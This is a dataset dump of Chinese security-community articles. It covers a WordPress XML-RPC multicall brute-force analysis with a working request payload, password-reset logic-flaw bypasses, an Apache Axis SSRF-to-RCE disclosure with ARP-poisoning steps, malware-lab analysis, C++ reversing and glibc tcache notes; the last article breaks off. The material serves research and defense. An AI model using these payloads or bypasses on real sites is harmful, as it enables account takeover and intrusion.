text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# WordPress 利用 XMLRPC 高效爆破 原理分析
|
##### 译文声明
本文是翻译文章，文章来源：RickGray (知道创宇404安全实验室)
原文地址：<http://blog.knownsec.com/2015/10/wordpress-xmlrpc-brute-force-amplification-attack-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
Author: RickGray (知道创宇404安全实验室)
Date: 2015-10-09
xmlrpc 是 WordPress 中进行远程调用的接口,而使用 xmlrpc 调用接口进行账号爆破在很早之前就被提出并加以利用。近日 SUCURI
发布文章介绍了如何利用 xmlrpc 调用接口中的 system.multicall
来提高爆破效率,使得成千上万次的帐号密码组合尝试能在一次请求完成,极大的压缩请求次数,在一定程度上能够躲避日志的检测。
一、原理分析
WordPress 中关于 xmlrpc 服务的定义代码主要位于 wp-includes/class-IXR.php 和 wp-includes/class-wp-xmlrpc-server.php 中。基类 IXR_Server 中定义了三个内置的调用方法,分别为
system.getCapabilities,system.listMethods 和 system.multicall,其调用映射位于
IXR_Server 基类定义中:
function setCallbacks()
{
$this->callbacks['system.getCapabilities'] = 'this:getCapabilities';
$this->callbacks['system.listMethods'] = 'this:listMethods';
$this->callbacks['system.multicall'] = 'this:multiCall';
}
而基类在初始化时,调用 setCallbacks() 绑定了调用映射关系:
function __construct( $callbacks = false, $data = false, $wait = false )
{
$this->setCapabilities();
if ($callbacks) {
$this->callbacks = $callbacks;
}
$this->setCallbacks(); // 绑定默认的三个基本调用映射
if (!$wait) {
$this->serve($data);
}
}
再来看看 system.multicall 对应的处理函数:
function multiCall($methodcalls)
{
// See http://www.xmlrpc.com/discuss/msgReader$1208
$return = array();
foreach ($methodcalls as $call) {
$method = $call['methodName'];
$params = $call['params'];
if ($method == 'system.multicall') {
$result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden');
} else {
$result = $this->call($method, $params);
}
if (is_a($result, 'IXR_Error')) {
$return[] = array(
'faultCode' => $result->code,
'faultString' => $result->message
);
} else {
$return[] = array($result);
}
}
return $return;
}
可以从代码中看出,程序会解析请求传递的 XML,遍历多重调用中的每一个接口调用请求,并会将最终有调用的结果合在一起返回给请求端。
这样一来,就可以将500种甚至是10000种帐号密码爆破尝试包含在一次请求中,服务端会很快处理完并返回结果,这样极大地提高了爆破的效率,利用多重调用接口压缩了请求次数,10000种帐号密码尝试只会在目标服务器上留下一条访问日志,一定程度上躲避了日志的安全检测。
通过阅读 WordPress 中 xmlrpc 相关处理的代码,能大量的 xmlrpc 调用都验证了用户名和密码:
if ( !$user = $this->login($username, $password) )
return $this->error;
通过搜索上述登录验证代码可以得到所有能够用来进行爆破的调用方法列表如下:
wp.getUsersBlogs, wp.newPost, wp.editPost, wp.deletePost, wp.getPost, wp.getPosts, wp.newTerm, wp.editTerm, wp.deleteTerm, wp.getTerm, wp.getTerms, wp.getTaxonomy, wp.getTaxonomies, wp.getUser, wp.getUsers, wp.getProfile, wp.editProfile, wp.getPage, wp.getPages, wp.newPage, wp.deletePage, wp.editPage, wp.getPageList, wp.getAuthors, wp.getTags, wp.newCategory, wp.deleteCategory, wp.suggestCategories, wp.getComment, wp.getComments, wp.deleteComment, wp.editComment, wp.newComment, wp.getCommentStatusList, wp.getCommentCount, wp.getPostStatusList, wp.getPageStatusList, wp.getPageTemplates, wp.getOptions, wp.setOptions, wp.getMediaItem, wp.getMediaLibrary, wp.getPostFormats, wp.getPostType, wp.getPostTypes, wp.getRevisions, wp.restoreRevision, blogger.getUsersBlogs, blogger.getUserInfo, blogger.getPost, blogger.getRecentPosts, blogger.newPost, blogger.editPost, blogger.deletePost, mw.newPost, mw.editPost, mw.getPost, mw.getRecentPosts, mw.getCategories, mw.newMediaObject, mt.getRecentPostTitles, mt.getPostCategories, mt.setPostCategories
这里是用参数传递最少获取信息最直接的 wp.getUsersBlogs 进行测试,将两次帐号密码尝试包含在同一次请求里,构造 XML 请求内容为:
<methodCall>
<methodName>system.multicall</methodName>
<params><param>
<value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>admin888</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>guest</string></value>
<value><string>test</string></value>
</data></array></value></member>
</struct></value>
</data></array></value>
</param></params>
</methodCall>
将上面包含两个子调用的 XML 请求发送至 xmlrpc 服务端入口,若目标开启了 xmlrpc 服务会返回类似如下的信息:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><array><data>
<value><array><data>
<value><struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
<member><name>url</name><value><string>http://172.16.96.130/xampp/wordpress-4.3.1/</string></value></member>
<member><name>blogid</name><value><string>1</string></value></member>
<member><name>blogName</name><value><string>WordPress 4.3.1</string></value></member>
<member><name>xmlrpc</name><value><string>http://172.16.96.130/xampp/wordpress-4.3.1/xmlrpc.php</string></value></member>
</struct></value>
</data></array></value>
</data></array></value>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>用户名或密码不正确。</string></value></member>
</struct></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
从结果中可以看到在同一次请求里面处理了两种帐号密码组合,并以集中形式将结果返回,通过该种方式可以极大地提高帐号爆破效率。
二、防护建议
最新版 WordPress(4.3.1) 中仍存在该问题。多重调用(multicall)属于 xmlrpc
的标准,为了防止攻击者利用此点对网站发起爆破攻击,给出以下防护建议:
通过配置 Apache、Nginx 等 Web 服务器来限制 xmlrpc.php 文件的访问;
在不影响站点运行的情况下可以直接删除 xmlrpc.php 文件;
从官方插件库中安装 Disable XML-RPC 并启用;
添加代码 add_filter('xmlrpc_enabled', '__return_false'); 至 WordPress 配置文件 wp-config.php;
参考链接
[https://blog.sucuri.net/2015/10/brute-force-amplification-attacks-against-wordpress-xmlrpc.html](https://blog.sucuri.net/2015/10/brute-force-amplification-attacks-against-wordpress-xmlrpc.html)
[https://pop.co/blog/protecting-your-wordpress-blog-from-xmlrpc-brute-force-amplification-attacks/](https://pop.co/blog/protecting-your-wordpress-blog-from-xmlrpc-brute-force-amplification-attacks/)
[http://www.deluxeblogtips.com/2013/08/disable-xml-rpc-wordpress.html](http://www.deluxeblogtips.com/2013/08/disable-xml-rpc-wordpress.html) | 社区文章 |
逻辑漏洞原创
任意门
小弟初学几个月，对逻辑漏洞比较有点感触，特此结合自己遇到的情况写一篇文章分享一下，也介此巩固一下所学。
首先是最暴力的验证码暴力破解漏洞
很多公司系统提供的功能点，都是有忘记密码的功能的，所以这一点就很方便我们做出测试。
验证码暴力破解
我们来看下图的页面，这是现在还有少数厂商存在的漏洞，4位验证码，但是一般的有的厂商会有4位验证码但是会做防护，但是下面的这个我今年新挖的就是没有防护，可以被暴力破解，然后成功重置该用户的密码。
然后就成功破解出来了，下面还有一个现在大多数厂商的6位验证码，才是困扰我们的难题，但是6位验证码也是可以破解的。要破解6位验证码是一项大工程，所以我们就要确定两点
1.它这个地方是否限制了访问过快的暴力破解banip
2.它这个地方是否有错误太多就出现验证码的功能
3.最后就是它这个6位验证码的时效性了
我下面举的例子就是它的验证码时效性较长有30分钟
如图其实暴力破解6位验证码如果时效性够长的话就可以破解，因为毕竟如果成功就是能够重置用户的密码，这种危害性还是较大的。厂商都比较重视。
如果它的验证码时效性较短比如，5分钟，或3分钟，这时候你就要确定一个界限，确定你的电脑在3或5分钟最多能爆破验证码的个数，然后你确定这个界限，发送验证码不断的尝试，它的验证码总会有发到你这个界限里面的，然后你就能暴力破解了，也不要嫌弃麻烦，毕竟暴力破解，重点就是暴力嘛
**构建回显包绕过**
回显包也是，现在很多厂商也是拿这个包里的内容返回给页面，靠这个信息来判断这个验证码是否正确，来进行绕过的。如下我这是举出一个我最近挖出的例子，它这个就构建的很简单，页面仅仅靠包里的0和1来判断验证码是否正确。
当然还有很多形式 比如 true or false 之类的，总之遇到这样的我们就要多去判断一下
，当然有一个前提条件，你得知道正确的验证码的回显包，这样你才能去修改欺骗web页面。
如下图都是一些厂商常用的靠返回包里面的内容来判断验证码成功验证码成功的数据
当然修改完成我们还要走一步，就是重置新密码。
因为只要最后一步成功的话，这个漏洞才能生效，笔者就踩过不少的坑，测试到重置密码的界面就以为成功了，结果被人家驳回，再去试一次才知道，这个也就是自己骗自己了。。。所以大家在测试的时候一定要细心走到最后一步去看是否成功。测试切记莫心急
**缺陷的验证码验证**
Emmm这处的功能，怀疑是开发的锅了。这里的笔者也就看到一处，当时测试还没注意随便输入忘记抓包，结果就成了，真是惊喜来的太突然。
如下图，大家看见，我直接输入验证码为111111，就直接显示最后验证码重置成了，emm这个漏洞也是可遇不可求，当个怀念吧。真的就是自欺欺人啊。所以这也是告诫大家再测试，多想几方面，万一它的验证码是个幌子呢对把
**验证码直接在返回包处可见**
这一处漏洞也是迷幻程度不堪上下，所以说当我们测试的时候多看看返回包里的内容是有好处的，看下面包里面的内容，很多厂商都有手机登录对吧，而且下面的这个厂商直接把验证码内容放在了返回包中，然后再由页面去认证，这一部分被我观察到了，就造成了可以登录任意用户的漏洞了。
1570，多么美好的数字呀。而且我们可以观察到，它这个验证码还是4位，这意味着我们还可以通过爆破验证码来登录任意用户，只要它这处没有做出限制就行。
还有一处验证码出现在返回包里的，但是这处比较奇怪因为它不是出现在本次发送验证码的返回包里，而且当你再次点击发送验证码的按钮的时候，你再次抓包就会发现，这次的包中出现了验证码，而且跟之前一次的你收到的验证码一样。所以当我发现这一处的时候，我就想到了一下步骤
我先点击一次发送验证码，收到验证码了，但此时我不知道
然后我开启抓包再次点击发送验证码的按钮，然后丢弃此包，让服务器端接受不到发送验证码的请求。这样我就能成功找到了，我上一次验证的正确验证码，然后输入就能成功验证重置密码了。
当我们在测试的时候要对code这种命名的格外在意，万一就能行对把，而且下面的还是用了加密处理，正好md5能成功解开。
**
最后一步可替换重置密码用户**
这一处漏洞，其实也是开发最后一步放松了警惕，没有去把验证码和重置密码的用户绑定在一起，到最后一步只是单纯的验证了是不是验证码正确。然后用户直接输入新密码即可。
结合我这个漏洞，其实的话就是最后一步它已经验证了验证码正确，等于过了最后一道安检，然后当我测试我看到出现手机号，和此手机号的id我就知道有机可趁，这个uid的值是可以遍历，所以我们只需要确定手机号，就能从最后一步修改任意用户的密码了。
看如下图那样，最后一步系统没有做任何检验它这是检测了cookie里面的内容，而且和我们post提交的参数没做任何绑定，所以导致我们可以修改任意用户和它对应的id值
其实这里还有一处，有时候越权重置他人的用户密码，我们最需要关注点我觉得吧就是看最后一步，看他是否从一开始就绑定了你这个用户，不能修改。同时你也要主要观察包里的参数，url的链接这一点很关键。
**可跳过验证码验证步骤**
这里的一处是小弟刚刚测到的。因为是某大学的不方便贴的仔细只能简述一下过程
首先是输入用户名，这里我们输入要重置对象的用户名，然后到第二步安全验证
然后到了第二步，它是给邮箱发送了验证码，这里我查看了页面源代码发现很可疑的一点，就是这里出现了一个从没有出现的userid值，这让我抱着疑惑的心情，接着测试，我发现观察页面源代码我看见了，一处它这里的重置密码是分步骤也就是url是这样的
passwd1/2/3
所以我就直接在url处加了3跳到了最后一步，不过因为没有输入验证码，导致验证不完全，最后一处页面发送错误，不过不影响，我尝试一下输入新密码抓包
抓包之后，大家看到这个userid值是不是很眼熟，没错正是第二步页面源代码里的userid值，只要我们将之前获取到的贴进去，就可以成功重置这个用户的密码了。它这里也算是页面的缺陷，我估计应该是当你输入正确的验证码，这个userid的值会跟着用户一起进入页面3，然后当你输入新密码的时候，这个页面就会把userid值带着证明重置的是这个用户。
**验证码重置链接可以伪造**
重置密码的时候，我们大家也可以经常遇到邮箱验证叭，此时厂商总会去给你的邮箱发送一个邮件，然后点击这个邮件带的链接去重置的密码，这时候当我们知道这个邮箱链接url的构造，并且我们能成功伪造的话，我们就可以重置用户的链接了。正如下图所示，它这里的链接带了一个mun参数，所以让我想一下这个一看就像md5啊
md5去解密一下，果不其然解密出来就是我们的用户名，这样我们就可以清楚了它这个的逻辑了，classid是你用户名对应的id值，而mid的值则是代表了你是系统发送的第多少次验证码，所以我们知道了这个url的链接构造，并且能成功的去伪造，我们就可以重置用户的密码啦。
总结一下吧。
测试逻辑漏洞，虽然逻辑漏洞被认为是最简单学习的漏洞，可是并不是非常容易找到的，测试逻辑漏洞就是要心细，对包里的每个参数，都要有一番自己的估计，不断的去仔细的走每一步的步骤。去观察包里的参数变化，这样能帮助你更好的发现逻辑漏洞。
然后这里我提出一个观点，当你测试密码找回的时候要注意去看每一步页面的js代码，和它的页面源代码，说不定你可以从中获取到一些意想不到的信息哦，还可以判断出它密码重置的代码逻辑。
以上是本菜鸡初步学习挖洞两个月的一些心得总结，因为学习渗透到现在4个月，有一些术语或者自己的理解不对的话，还请大家多多指教啊。 | 社区文章 |
# 【知识】11月12日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：DHS团队成功黑掉波音757、CVE-2017-13089 Wget HTTP整数溢出、 **通过搜索控件预览缓存获取私密推特**
、伪造密码段绕过浏览器安全警告、数据线间谍设备、 ** **子域名渗透测试手册** 、
**Tor网络的信息收集、Powershell脚本的混淆与反混淆**** 。**
**资讯类：**
Web扩展与其安全性浅谈
<https://palant.de/2017/11/11/on-web-extensions-shortcomings-and-their-impact-on-add-on-security>
勒索软件周报：Cobra，Lockcrypt等
<https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-10th-2017-ordinypt-and-lockcrypt/>
<https://www.bleepingcomputer.com/news/security/new-cobra-crysis-ransomware-variant-released/>
<https://www.bleepingcomputer.com/news/security/lockcrypt-ransomware-crew-started-via-satan-raas-now-deploying-their-own-strain/>
DHS团队成功黑掉波音757
<https://www.bleepingcomputer.com/news/security/dhs-team-hacks-a-boeing-757/>
**技术类：**
Powershell之劫持数字签名
<https://pentestlab.blog/2017/11/08/hijack-digital-signatures-powershell-script/>
CVE-2017-13089 Wget HTTP整数溢出
<https://xorl.wordpress.com/2017/11/11/cve-2017-13089-wget-http-integer-overflow/>
子域名渗透测试手册
<https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6>
Tor网络的信息收集
<https://vallejo.cc/2017/11/11/using-gathering-information-tools-through-tor-network/>
通过搜索控件预览缓存获取私密推特
<https://hackerone.com/reports/263760>
谷歌验证码破解实例
<http://rickyhan.com/jekyll/update/2017/11/10/bypassing-recaptcha.html>
Radiocarbon泄漏信息分析工具
<https://github.com/Neo23x0/radiocarbon>
Chrome List Item Marker RCE漏洞
<https://bugs.chromium.org/p/chromium/issues/detail?id=684684>
数据线间谍设备
<https://ha.cking.ch/s8_data_line_locator/#s8-data-line-locator-capabilities>
Powershell脚本的混淆与反混淆
<https://pcsxcetrasupport3.wordpress.com/2017/11/11/de-obfuscating-a-powershell-script-obfuscated-by-invoke-obfuscation/>
伪造密码段绕过浏览器安全警告
<https://www.troyhunt.com/bypassing-browser-security-warnings-with-pseudo-password-fields/> | 社区文章 |
# 目标
* 鉴定黑白(静态分析失败或者不准确的第二步)
* 简单行为分析
# 原理
1. 监控样本的行为。
2. 手动双击击执行或者输入一些命令参数来运行样本，通过监控工具来抓取样本的行为
3. 通过沙箱监控样本运行的行为
4. 判定样本黑白
* 根据样本行为和衍生物来判断样本的性质
# 算法流程
1.简单静态分析流程
2.沙箱分析。通过开源在线沙箱或者本地沙箱进行初步行为获取
2.手动分析
# 实践过程1
Lab03-01.exe
## 鉴黑白
### 简单静态分析
假设我们未从VT上判断出文件黑白，我们从他的其他信息和行为中找线索
* 字符串检测
* HTTP请求
根据`CONNECT %s:%i
HTTP/1.0\r\n\r\n`和`www.practicalmalwareanalysis.com`字符特征，可以判断样本访问该站点
* 程序自启动
`SOFTWARE\Classes\http\shell\open\commandV`，http协议的默认处理程序，一旦进行http协议请求，就执行该程序
`Software\Microsoft\Active Setup\Installed Components\`，检测是否为安装的组件如果没有则进行启动该程序
`SOFTWARE\Microsoft\Windows\CurrentVersion\Run`开机自启动选项
* 隐藏自身
vmx32to64.exe，伪装成正常程序
* 其他
`SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`，将程序放入开始菜单
* 加壳/混淆判断
一个导入函数，但是字符串表中有很多行为，应该是加壳了
PEiD扫描得出壳类型：`PEncrypt 3.1 Final -> junkcode`
### 小结
初步判断为`黑样本`
原因：
1.加壳，大部分病毒都会进行简单或困难的加壳或混淆
2.字符串表中可以看出有访问特定网站、多种自启动、隐藏自己等敏感行为
## 简答行为分析
### 沙箱分析
可以从VT上的BEHAVIOR选项中看到沙箱跑出的数据
* 主机感染行为
* 主要设置了开机自启动的注册表键值
* 还有疑似隐藏自己到C:\Users\Olivia\AppData\Local\Temp\KeJsFBhoviIbosu8hR1K.exe这里的可能
* 互斥量WinVMX32来防止程序多开
* 网络感染行为
* HTTP请求访问www.practicalmalwareanalysis.com，因为是联系网站已经失效
### 小结
因为程序在分析机上未能正常运行，所以只能根据在线沙箱以前的分析数据和简单静态分析进行总结。
1.添加开机自启动来运行自身
2.修改文件名和存放目录来隐藏自己
3.跟远程服务器通信
# 实践过程2
Lab03-04.exe
> 直接进入行为分析
## 简单行为分析
### 沙箱分析
通过VT上的瑞星沙箱，和HyBrid沙箱
#### 主机感染行为
* 删除文件
* 修改Internet选项，添加信任站点
#### 网络感染行为
* C2通信(88.221.52.75)
* 网页访问（216.58.205.238）
### 手动分析
* 样本自删除
手动执行后，样本消失，根据沙箱检测出的删除命令，排除样本移动到其他目录的可能
根据沙箱的数据，可以在Process Monitor中进程监控里看见cmd进程的创建来执行自删除指令
* 添加站点信任
设置好过滤条件可以抓到对站点信任注册表键值的修改
#### 小结
简单的行为分析，只抓取到了部分的行为，如：
* 设置注册表键值，实现Internet可信任站点修改
* 创建cmd进程实现自删除
其余的网络行为是未触发的 | 社区文章 |
### 概述
Apache Axis™是一个 **简单对象访问协议** （SOAP）引擎。在最近的一次红队行动中，我们发现目标装有老版本的Apache
Axis（1.4）。现在较新的有Apache Axis2, Apache CXF,和Metro等。尽管Apache
Axis已经过时，但它仍然在许多情况下被使用，例如使用Axis构造的项目难以重写或者项目中含有使用SOAP编码的服务。
我们的目标仍在使用过时的版本，因此我们觉得值得深入挖掘，看看是否有可利用的漏洞。最后，我们找到了一个RCE漏洞，该漏洞是由于在默认的示例中使用了过期的硬编码域名作为默认安装。Apache官方为该漏洞签署编号：CVE-2019-0227。现在，我们已经购买了过期域名（www.xmltoday.com）从而防止该漏洞被恶意利用。在本文中，我们将在本地环境中（无需域名）为你演示这个漏洞，同时这个漏洞对Axis2也有影响。
### Axis
如果你在服务器的Apache Axis或Axis2的找到服务端请求伪造（SSRF）漏洞，你也可能实现目标服务器的代码执行。[在Ambionics
Security的博客文章](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce)中有类似的介绍。因为涉及到产权保护，我不会介绍那篇文章的太多细节，总而言之：Axis以管理员权限处理localhost的请求，攻击者可以通过SSRF漏洞修改HTTP
GET请求部分来伪装成localhost用户。
### 漏洞发现
根据前面我们的结论，我们应该在Axis默认或核心代码部分找出一个SSRF漏洞。在Axis默认安装程序中，会安装一个名为“StockQuoteService.jws”的默认示例web服务。这个服务引导用户了解他们可以在Java
Web服务上做些什么。这里我们的示例web服务可以从外部网络的URL中获取股票价格。查看服务器中的代码，可以看到该服务发送一个HTTP请求至www.xmltoday.com来获取XML内容，进一步解析响应展示出股票价格。从下图你可以看到相关代码：
`XMLUtils.newDocument`用于从解析的目标域名中检索XML文档。由于用户可以控制发送给www.xmltoday.com的`symbol`字符，我的第一个想法是看看返回什么类型的数据以及我是否能以某种方式操纵修改它。当访问www.xmltoday.com时，我有些惊讶，因为这个域名正处于待售状态。
www.xmltoday.com正在出售，所以这意味着我们可以购买它，然后将它设置重定向到某个精心构造的`localhost`URL。组合这点还有SSRF与RCE的一些小技巧，我们也许能够获取任意Axis服务器上的远程代码执行权限。为了验证想法，我们先研究`XMLUtils.newDocument`函数是如何处理重定向的。下图展示了`XMLUtils.newDocument`的`HttpURLConnection`属性。
查看Axis源码中的XMLutils部分，我们可以发现`setInstanceFollowRedirects`属性设置为`ture`。从而，我们确定了`XMLUtils.newDocument`函数将会遵循重定向流程。
为了验证，我们购买了`www.xmltoday.com`域名，然后能够获取所有安装有Apache
Axis服务器的任意代码执行权限。同时，我们也防止了有人购买这个域名攻击其他网站。
### 其他攻击方法
拥有这个域名的使用权其实并不是滥用`StockQuoteService.jws`和Axis服务器内部请求的唯一方法。由于请求通过HTTP实现，这意味攻击者（与Axis处于同一网段）能够发动中间人攻击，然后等待用户触发`StockQuoteService.jws`，从而重定向请求至`localhost`，然后再使用SSRF的一些把戏。
攻击步骤：
* ARP向目标Axis服务器投毒
* 拦截转发所有流量到你的web服务器
* 筛选，重定向到某个精心构造的`localhost`URL（属于Axis服务）
* 触发HTTP请求，然后重定向到`StockQuoteService.jws`（可控）
### 演示
在安装了Axis1.4的Apache Tomcat
8.5上，我们利用其默认自带的`StockQuoteService.jws`验证触发了该漏洞。如下gif所示：
### Poc
MITM攻击的漏洞概念证明已放至[Github](https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-0227)
### 结论
值得注意的是，我们在Axis2上至今仍没有发现会发出HTTP请求的默认服务。如果你发现运行在Axis2服务器上的某个服务会发出HTTP请求，或许它也是可利用的。
如果你仍然在使用Axis服务，请删除Axis根目录的`StockQuoteService.jws`。同时，请确保你运行在Axis或Axis2上的任何服务或库不执行HTTP请求或者允许用户发出HTTP请求。而是使用HTTPS或验证SSL证书。Rhino安全实验室已经控制域名www.xmltoday.com，防止这个漏洞在互联网上被利用，但是Axis的漏洞在内部网络仍然可以被利用。Apache团队已经推出[Axis的补丁程序](https://builds.apache.org/job/axis-trunk/lastSuccessfulBuild/org.apache.axis$distribution/)，该修补程序可以防止滥用`XMLUtils.newDocument`重定向。
### 时间表
01/15/2019 - 向Apache报告漏洞
01/27/2019 - Apache确认漏洞并接受报告
03/12/2019 - Apache推出了SSRF补丁
04/02/2019 - Apache签署CVE-2019-0227
文章来源：
<https://rhinosecuritylabs.com/application-security/cve-2019-0227-expired-domain-rce-apache-axis/> | 社区文章 |
最近研究了一下C++类的 **移动构造函数** ，同时也进行了一些逆向分析，过程中碰到一个很奇怪的问题，以此记录
# 相关背景
## 右值引用
右值引用主要是为了解决`C++98/03`遇到的两个问题
> 1. 临时对象非必要的昂贵的拷贝操作
> 2. 模板函数中如何按照参数的实际类型进行转发
>
本文主要探讨问题1，一些代码尝试和IDA中逆向的分析
学习链接：[从4行代码看右值引用](https://www.cnblogs.com/qicosmos/p/4283455.html)，这里就不多说了
## move语义
比如在`vector.push_back(str)`时，`str(类)`作为实参，会复制一份自身成为形参，进入函数调用
而这个过程中就会产生 **临时对象** ，那么也就会调用 **拷贝构造函数**
而如果`vector.push_back(std::move(str))`，就可以匹配 **移动构造函数** ，省去这个拷贝过程以提高效率
> 链接中已经解释的很详细了，不再赘述，总之就是 **给将亡值续命** ，延长它的生命周期（原本很可能是一个临时变量）
# 代码分析
接下来的部分内容可以作为上一篇文章[C++逆向学习(二) vector](https://xz.aliyun.com/t/4933)的补充，在分析
**移动构造函数** 时又学到了一些之前没有注意过的`vector`的细节
## Str类源码
#include<iostream>
#include<string.h>
#include<vector>
using namespace std;
class Str {
public:
char* str;
Str(char value[]) {
cout << "Ordinary constructor" << endl;
int len = strlen(value);
this->str = (char*)malloc(len + 1);
memset(str, 0, len + 1);
strcpy(str, value);
}
//拷贝构造函数
Str(const Str& s) {
cout << "copy constructor" << endl;
int len = strlen(s.str);
str = (char*)malloc(len + 1);
memset(str, 0, len + 1);
strcpy(str, s.str);
}
//移动构造函数
Str(Str&& s) {
cout << "move constructor" << endl;
str = s.str;
s.str = NULL;
}
~Str() {
cout << "destructor" << endl;
if (str != NULL) {
free(str);
str = NULL;
}
}
};
//g++ xxx.cpp -std=c++17
## 代码1
`main`函数中，不使用`move`语义，会调用拷贝构造函数
int main(int argc, char** argv) {
char value[] = "template";
Str s(value);
vector<Str> vs;
vs.push_back(s);
return 0;
}
IDA打开如下
简单的流程，甚至`Str`的高亮都是对称的
最初调用`Str`的拷贝构造函数，匹配的是`Str(char value[])`，接着初始化`vector`，然后一次`push_back(s)`
跟进`push_back`
一开始仍然是熟悉的判断`vector`的`size & capacity`的关系，最终调用的是这里的复制构造函数
> 注意第一个参数是`this`，是C++成员函数调用时的第一个参数，类指针
运行结果：
## 代码2
代码2，只`move(s)`
int main(int argc, char** argv) {
char value[] = "template";
Str s(value);
vector<Str> vs;
//vs.push_back(s);
//cout<<"-----------------"<<endl;
vs.push_back(move(s));
return 0;
}
IDA打开如下：
注意到其中的`std::move`，跟进发现其实实现只有一句话
也印证了`move`实际上不移动任何东西，唯一的功能是 **将一个左值强制转换为一个右值引用**
继续跟进
仍然是判断大小和容量的代码，接着调用的是 **移动构造函数**
运行结果：
## 代码3
这段代码实际上只是在`单纯move`之前加上了一句`push_back(s)`，但是运行结果差了很多
作为对`vector逆向学习`的补充
> "我全都要"写法，同时用拷贝构造和移动构造
int main(int argc, char** argv) {
char value[] = "template";
Str s(value);
vector<Str> vs;
vs.push_back(s);
cout<<"-----------------"<<endl;
vs.push_back(move(s));
return 0;
}
按理来说，输出结果也只应该比代码2多一个`copy constructor`和`destructor`，但实际上多了很多东西
IDA打开并没有出乎意料的结果，仍然是清晰的两次`push_back`，跟进后也没有什么特别的发现，查看交叉引用也没能找到相关信息
> 为什么在`move`之后还会有一次`copy`，对应的之后又多了一个`desctructor`？
首先，`vector`虽然是值语义，但是`move`过后，既然已经调用了 **移动构造函数** ，肯定不会再无聊的拷贝一次
在`vs`里调试，输出各个时间点的`capacity`
注意`第一个destructor`和`容量2`的出现时间
跟进源码好久后才发现，多的`copy`的产生原因，是因为`vector`内部动态扩容时，在新开辟的空间上调用了 **复制构造函数**
也就是说把原来的一个`Str s`复制到了新内存空间，这个过程并没有调用 **移动构造函数**
> 可能这也是写了移动构造函数后，保险起见也要写一个复制构造函数的原因
### 其他
考虑这个问题
> 为什么`vector`内部扩容时，要在新地址调用拷贝构造函数呢？
>
> 之前文章已经分析过，`vector`实际上只存了类型的数据结构
>
> 直接`memcpy(new_memory,old_memory,size)`，再把旧内存空间清零，会造成什么问题？
查了一些资料后发现，扩容是`allocator`的事情，一个可能的实现是 **原位new**
而如果直接`memcpy`，会不会出问题取决于`vector`存的类型是否平凡(POD)
POD是`Plain old data structure`的缩写
> 资料提到`shared_ptr`也可能会被影响，取决于引用计数放在哪里
但无论如何，指针的浅拷贝、深拷贝问题值得注意，否则在`vector`内部扩容时，可能2个指针指向同一块内存，析构时会产生严重的错误
> 一个月后的SUCTF会有一道C++底层相关的pwn，欢迎来体验 | 社区文章 |
# Glibc 2.27关于Tcache的增强保护
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
在2020年09月10日，`Ubuntu`基金会发布了名为为`2.27-3ubuntu1.3`的更新，本次更新进行了对于`Tcache`分配机制的更新，这将导致一批对于`Tcache`的利用失效，本文从源码的角度分析了变动的源码与保护。
## 0x02 获取源码
由于此软件包目前还处于测试状态(`proposed`)，我们无法使用`apt-get update && apt-get upgrade`直接获取到此版本。
运行以下命令启用获取测试状态软件包源码：
sudo echo 'deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
' >> /etc/apt/sources.list
sudo echo 'deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
' >> /etc/apt/sources.list
接下来运行`sudo apt-get update`更新软件源
🚫：更新完软件源后，严禁直接使用`sudo apt-get
upgrade`更新软件，部分测试版核心软件(例如`glibc`)一旦被更新到测试版将无法进行降级。
接下来运行`sudo apt-get source libc6/bionic-proposed`以获取目标源码
⚠️：接下来请编辑`/etc/apt/sources.list`，注释掉刚刚添加的源，并运行`sudo apt-get update`更新软件源
## 0x03 代码变更
### 1.`Tcache`结构体定义变更
原始定义：
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
新定义：
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
意义：
加入了额外指针`key`，可以用来检查链表完整性。
### 2.加入`Tcache`数量限制
原始定义：
无
新定义：
#define MAX_TCACHE_COUNT 127 /* Maximum value of counts[] entries. */
意义：
限制`Tcache`的数量
### 3.`tcache_put`加入了新步骤
原始定义：
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
新定义：
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
意义：
现在，将`chunk`置入`Tcache`中时，将会新增一个指针指向`Tcache`，用于检查`Double Free`。
### 4.`tcache_get`加入了新步骤
